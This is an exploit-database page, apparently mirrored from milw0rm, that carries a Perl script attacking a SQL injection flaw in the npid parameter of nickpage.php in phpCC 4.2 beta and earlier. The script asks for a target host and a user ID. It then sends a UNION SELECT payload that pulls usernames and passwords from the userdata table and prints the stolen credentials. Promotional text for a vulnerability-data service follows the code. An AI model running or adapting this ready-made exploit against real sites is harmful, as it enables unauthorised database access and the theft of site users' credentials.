Lucene search
K

phpCC <= 4.2 beta (nickpage.php npid) Remote SQL Injection Exploit

🗓️ 13 Feb 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

phpCC <= 4.2 Remote SQL Injection Exploi

Code

                                                #!/usr/bin/perl
#[Script Name: phpCC Beta &lt;= 4.2 (nickpage.php npid) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.phpcc.at
#[$$         : Free
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV &lt; 1){
print &quot;
[========================================================================
[//   	phpCC Beta &lt;= 4.2 (nickpage.php npid) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&amp;Exp : ajann
[========================================================================
&quot;;
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = &quot;http://&quot;.$server;
$port = &quot;80&quot;;
$file = &quot;/nickpage.php?action=sign_gb&amp;npid=&quot;;

print &quot;Script &lt;DIR&gt; : &quot;;
$dir = &lt;STDIN&gt;;
chop ($dir);

if ($dir =~ /exit/){
print &quot;-- Exploit Failed[You Are Exited] \n&quot;;
exit();
}

if ($dir =~ /\//){}
else {
print &quot;-- Exploit Failed[No DIR] \n&quot;;
exit();
 }

print &quot;User &lt;ID&gt;    : &quot;;
$ID = &lt;STDIN&gt;;
chop ($ID);

if ($ID =~ /exit/){
print &quot;-- Exploit Failed[You Are Exited] \n&quot;;
exit();
}

$len=length($ID);

if ($len &lt; 10000){}
else {
print &quot;-- Exploit Failed[No User Id] \n&quot;;
exit();
 }

$target = &quot;-1'%20union%20select%201,2,3,4,5,6,7,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20userdata%20where%20id=&quot;.$ID.&quot;/*&quot;;
$target = $host.$dir.$file.$target;

#Writing data to socket
print &quot;+**********************************************************************+\n&quot;;
print &quot;+ Trying to connect: $server\n&quot;;
$socket = IO::Socket::INET-&gt;new(Proto =&gt; &quot;tcp&quot;, PeerAddr =&gt; &quot;$server&quot;, PeerPort =&gt; &quot;$port&quot;) || die &quot;\n+ Connection failed...\n&quot;;
print $socket &quot;GET $target HTTP/1.1\n&quot;;
print $socket &quot;Host: $server\n&quot;;
print $socket &quot;Accept: */*\n&quot;;
print $socket &quot;Connection: close\n\n&quot;;
print &quot;+ Connected!...\n&quot;;
#Getting
while($answer = &lt;$socket&gt;) {
if ($answer =~ /username:(.*?) pas/){
print &quot;+ Exploit succeed! Getting admin information.\n&quot;;
print &quot;+ ---------------- +\n&quot;;
print &quot;+ Username: $1\n&quot;;
}

if ($answer =~ /password:(.*?)&lt;\/a&gt;/){
print &quot;+ Password: $1\n&quot;;
}

if ($answer =~ /Syntax error/) { 
print &quot;+ Exploit Failed : ( \n&quot;;
print &quot;+**********************************************************************+\n&quot;;
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print &quot;+ Exploit Failed : (  \n&quot;;
print &quot;+**********************************************************************+\n&quot;;
exit(); 
}
 }

# milw0rm.com [2007-02-13]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation